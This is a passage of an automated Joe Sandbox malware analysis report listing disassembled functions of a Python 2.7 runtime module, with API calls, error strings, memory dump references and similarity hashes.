                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$__iob_func_errno$ErrorFatalabortfflushfprintf
                                                                                                                                                                    • String ID: PyEval_RestoreThread: NULL tstate
                                                                                                                                                                    • API String ID: 2486884445-2925922187
                                                                                                                                                                    • Opcode ID: de9b57228e929ad142b62c61f004b9061f2585a31df9ee3b1eda07e0350b795d
                                                                                                                                                                    • Instruction ID: 6ae0ca1570572183410a76e30b99221febe90c904f72adebd0014a0f9000f3e2
                                                                                                                                                                    • Opcode Fuzzy Hash: de9b57228e929ad142b62c61f004b9061f2585a31df9ee3b1eda07e0350b795d
                                                                                                                                                                    • Instruction Fuzzy Hash: B5F0A7765001089BDB01EF1EDC45A5577F8EBAA274B150137DA14A3350EB35A948CBE5
                                                                                                                                                                    Function 67130730 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • TlsGetValue.KERNEL32(?,00000000,00000000,?,67130697,00000000), ref: 67130746
                                                                                                                                                                    • TlsSetValue.KERNEL32(?,67130697,?,67130697,00000000), ref: 67130755
                                                                                                                                                                    • Py_FatalError.PYTHON27(Couldn't create autoTLSkey mapping,?,67130697,00000000), ref: 67130764
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    Strings
                                                                                                                                                                    • Couldn't create autoTLSkey mapping, xrefs: 6713075F
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$Value__iob_func$ErrorFatalabortfflushfprintf
                                                                                                                                                                    • String ID: Couldn't create autoTLSkey mapping
                                                                                                                                                                    • API String ID: 3273730768-18693100
                                                                                                                                                                    • Opcode ID: cacfc55f1f159dae2fd414272ca71f895e6c4541d10a3a63f68188c1ade98242
                                                                                                                                                                    • Instruction ID: a8937787af3aaf15fdc26e34e19cbaf3305af439ae9bec6d9a44307da1954bfa
                                                                                                                                                                    • Opcode Fuzzy Hash: cacfc55f1f159dae2fd414272ca71f895e6c4541d10a3a63f68188c1ade98242
                                                                                                                                                                    • Instruction Fuzzy Hash: 9EE0D8751001246BD712FF559C4DF673BFDAB567A5F440036F909C7100E339A084CAA5
                                                                                                                                                                    Function 6709EF60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_FatalError.PYTHON27(non-string found in code slot,?,?,6709F1C4), ref: 6709EF84
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?,6709F1C4), ref: 6709EF8D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalInternPlaceString_
                                                                                                                                                                    • String ID: h#g$non-string found in code slot
                                                                                                                                                                    • API String ID: 3605443080-1098499996
                                                                                                                                                                    • Opcode ID: 6c9f546c00ffbb6fca8c6bd8e9608c6d28a3ce94e464eb3e261742e7c2f03a1d
                                                                                                                                                                    • Instruction ID: 6328b129bcbcbfba790476161c8d08075fca66ee37016b90c70df321f0c4a5a0
                                                                                                                                                                    • Opcode Fuzzy Hash: 6c9f546c00ffbb6fca8c6bd8e9608c6d28a3ce94e464eb3e261742e7c2f03a1d
                                                                                                                                                                    • Instruction Fuzzy Hash: D7E026739002205FA2004B2CA840B9BB7E9BE9C52474751B7DC19A7225FB31EC86D1B3
                                                                                                                                                                    Function 67015FD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245248,internal error in regular expression engine), ref: 67015FEA
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245248,maximum recursion limit exceeded), ref: 67015FFF
                                                                                                                                                                    Strings
                                                                                                                                                                    • maximum recursion limit exceeded, xrefs: 67015FF9
                                                                                                                                                                    • internal error in regular expression engine, xrefs: 67015FE4
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: internal error in regular expression engine$maximum recursion limit exceeded
                                                                                                                                                                    • API String ID: 1450464846-628104037
                                                                                                                                                                    • Opcode ID: 1da38b8a78221a858a3d3b482324f4f81c621c3d172f5ca5b21ceb87fdba4555
                                                                                                                                                                    • Instruction ID: 5feb88af6958060dbf07753b6502926945f970396341d0d041c7a0cc2efc58ce
                                                                                                                                                                    • Opcode Fuzzy Hash: 1da38b8a78221a858a3d3b482324f4f81c621c3d172f5ca5b21ceb87fdba4555
                                                                                                                                                                    • Instruction Fuzzy Hash: DBD05B6E809510978C1191F4AC99E19314C576E239B640717F538C61E0D625C2968567
                                                                                                                                                                    Function 670C8F50 Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27(6709F060,00000000,?,?,?,?,?,?,?,?,?,?,?,670C978E,00000000,850C2444), ref: 670C8F70
                                                                                                                                                                    • malloc.MSVCR90 ref: 670C8FE3
                                                                                                                                                                    • memset.MSVCR90 ref: 670C9004
                                                                                                                                                                    • free.MSVCR90 ref: 670C9067
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Memoryfreemallocmemset
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3371104938-0
                                                                                                                                                                    • Opcode ID: 16cac4be8aa4b352312b05650ed234e276bceb7e8b4f09b726cd6bf4c9650d08
                                                                                                                                                                    • Instruction ID: 83d204006ebc28beff1f82ccbc92e5d3013499fd2e239f16149b7abf4fc5bbfa
                                                                                                                                                                    • Opcode Fuzzy Hash: 16cac4be8aa4b352312b05650ed234e276bceb7e8b4f09b726cd6bf4c9650d08
                                                                                                                                                                    • Instruction Fuzzy Hash: C631C7719102059FE710CF65D8C074EB3F9EF98324F204629E929C7290E775F995CBA6
                                                                                                                                                                    Function 6700AF40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 6700AF8A
                                                                                                                                                                    • _PyString_Resize.PYTHON27(?,7FFFFFFF), ref: 6700B010
                                                                                                                                                                    • _PyString_Resize.PYTHON27(?,00000002), ref: 6700B039
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27 ref: 6700B061
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$Resize$Err_FromMemorySizeString
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1823809671-0
                                                                                                                                                                    • Opcode ID: 461fd2bc899663d6d4c01dac9ff3825c3a25ddbd50b46cf82d3d317e29ec1094
                                                                                                                                                                    • Instruction ID: 88b58cc461eb4ff002a076831b511b4ed92b386f6d07eadbce20448818cac988
                                                                                                                                                                    • Opcode Fuzzy Hash: 461fd2bc899663d6d4c01dac9ff3825c3a25ddbd50b46cf82d3d317e29ec1094
                                                                                                                                                                    • Instruction Fuzzy Hash: BD31D6B1900109DFEB00CEA4C880BAEB7F4FB49334F6042A9D525D7294DB359646CB72
                                                                                                                                                                    Function 670CD6A0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 670CD6EA
                                                                                                                                                                    • PyString_AsString.PYTHON27(00000000), ref: 670CD6FA
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: StringString_$FromSize
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1868944898-0
                                                                                                                                                                    • Opcode ID: 7752a871fe9511681eb989cc11097eb59172ce232ce1b71cf297ae00bd0f460a
                                                                                                                                                                    • Instruction ID: 430e30b872454f0e0b3fc99ca0c6702f3da2c40a74c70bdfb53eb44ec04bec1d
                                                                                                                                                                    • Opcode Fuzzy Hash: 7752a871fe9511681eb989cc11097eb59172ce232ce1b71cf297ae00bd0f460a
                                                                                                                                                                    • Instruction Fuzzy Hash: 2A215375E44209AFDB00CFA8D881BAE7BF4EB4D355F2445A9E948D7340E7309A44CBA2
                                                                                                                                                                    Function 6709EDC0 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6709EDCB
                                                                                                                                                                    • PyImport_Import.PYTHON27(00000000), ref: 6709EDDB
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(00000000,?), ref: 6709EDFF
                                                                                                                                                                    • PyCObject_AsVoidPtr.PYTHON27(00000000), ref: 6709EE0E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Object_String$AttrFromImportImport_String_Void
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 372386033-0
                                                                                                                                                                    • Opcode ID: 77110e976b69f6ba44cf362bcfce5f6268fed25b6077416a713deddafba46f1d
                                                                                                                                                                    • Instruction ID: 57bef1b61b457d33c718f5a67cbb7f4782ab085394a0a0e872a65eafda9a6dfa
                                                                                                                                                                    • Opcode Fuzzy Hash: 77110e976b69f6ba44cf362bcfce5f6268fed25b6077416a713deddafba46f1d
                                                                                                                                                                    • Instruction Fuzzy Hash: C801A1B39015116BD2119E58AC80A9B73A8AA99638B155338EA2947380E726ED4792E2
                                                                                                                                                                    Function 67126770 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 67126784
                                                                                                                                                                    • PyThread_allocate_lock.PYTHON27(?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 6712679A
                                                                                                                                                                    • PyEval_SaveThread.PYTHON27(00000000,00000000,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 671267D5
                                                                                                                                                                    • PyEval_RestoreThread.PYTHON27(00000000,00000000,00000000,?,?,6712A352,__builtin__,00000000,00000000,00000000,00000000), ref: 671267F1
                                                                                                                                                                      • Part of subcall function 671479B0: InterlockedCompareExchange.KERNEL32(?,00000000,000000FF), ref: 671479BF
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Thread$Eval_$CompareCurrentExchangeInterlockedRestoreSaveThread_allocate_lock
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3700328054-0
                                                                                                                                                                    • Opcode ID: 8d3401425e4d3484b1d4d517c1028ac61d017dce27660d87d60fcd357645a64d
                                                                                                                                                                    • Instruction ID: 24fcc5dbe115c782a373710a63934211ac12bbf05cd3e4231f6b7466b104e9ea
                                                                                                                                                                    • Opcode Fuzzy Hash: 8d3401425e4d3484b1d4d517c1028ac61d017dce27660d87d60fcd357645a64d
                                                                                                                                                                    • Instruction Fuzzy Hash: C801D8B59006058BDB01AA35A89975632F07B7F338F100B3BD931826C5FB7AC08ADB56
                                                                                                                                                                    Function 67130780 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    • PyThreadState_Clear: warning: thread still has a frame, xrefs: 67130797
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __iob_funcfprintf
                                                                                                                                                                    • String ID: PyThreadState_Clear: warning: thread still has a frame
                                                                                                                                                                    • API String ID: 620453056-874985626
                                                                                                                                                                    • Opcode ID: 73f99b42fa6275d0092562c05beac0c486c18725e5b6d6174dcdde41ce34f2db
                                                                                                                                                                    • Instruction ID: 60a76d19c6c9fd27534717646e00c4044f95e65601e3ab1247989403ef41d3fb
                                                                                                                                                                    • Opcode Fuzzy Hash: 73f99b42fa6275d0092562c05beac0c486c18725e5b6d6174dcdde41ce34f2db
                                                                                                                                                                    • Instruction Fuzzy Hash: C7513D70E10A108FC711DF68C88185A77F6BFA83347268799D5AA8BA94D335EC43CB80
                                                                                                                                                                    Function 670D96C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 82COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: dQ'g$dh#g
                                                                                                                                                                    • API String ID: 0-3577482830
                                                                                                                                                                    • Opcode ID: 71d369ee9d479093f718e454439438be57bb9f89bb3975802e95eefe47d51464
                                                                                                                                                                    • Instruction ID: ac4b594525f3704f9eb66a47eec500d3906ab5a5a5ccf476f0ae0ba97eb0d906
                                                                                                                                                                    • Opcode Fuzzy Hash: 71d369ee9d479093f718e454439438be57bb9f89bb3975802e95eefe47d51464
                                                                                                                                                                    • Instruction Fuzzy Hash: 2D2195B66103144FEB14CE98E8D0B96B3E4FB4C328F15417AE95D8B251D336D885CB61
                                                                                                                                                                    Function 67017D40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,|O:groups,6726A204,?), ref: 67017D63
                                                                                                                                                                    • PyTuple_New.PYTHON27(?), ref: 67017D83
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Keywords_ParseSizeTupleTuple_
                                                                                                                                                                    • String ID: |O:groups
                                                                                                                                                                    • API String ID: 839320981-1302304481
                                                                                                                                                                    • Opcode ID: ebac39d0fd47fb0d4ccecaa35062dc756a100d04cdcc25d36227c40b4c9a78b1
                                                                                                                                                                    • Instruction ID: 55d287a85af6c80031f3bc8ce28e753f584611045f645423b3accb6d37441cfc
                                                                                                                                                                    • Opcode Fuzzy Hash: ebac39d0fd47fb0d4ccecaa35062dc756a100d04cdcc25d36227c40b4c9a78b1
                                                                                                                                                                    • Instruction Fuzzy Hash: 8911BC75A0410DAF9B00DE98EC81AAAB7FDEF4C238B0042A6ED0897700E731ED11C7E1
                                                                                                                                                                    Function 67001E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_32_decode,?,?,?), ref: 67001E67
                                                                                                                                                                    • PyUnicodeUCS2_DecodeUTF32Stateful.PYTHON27(?,?,?,?,?), ref: 67001E9C
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
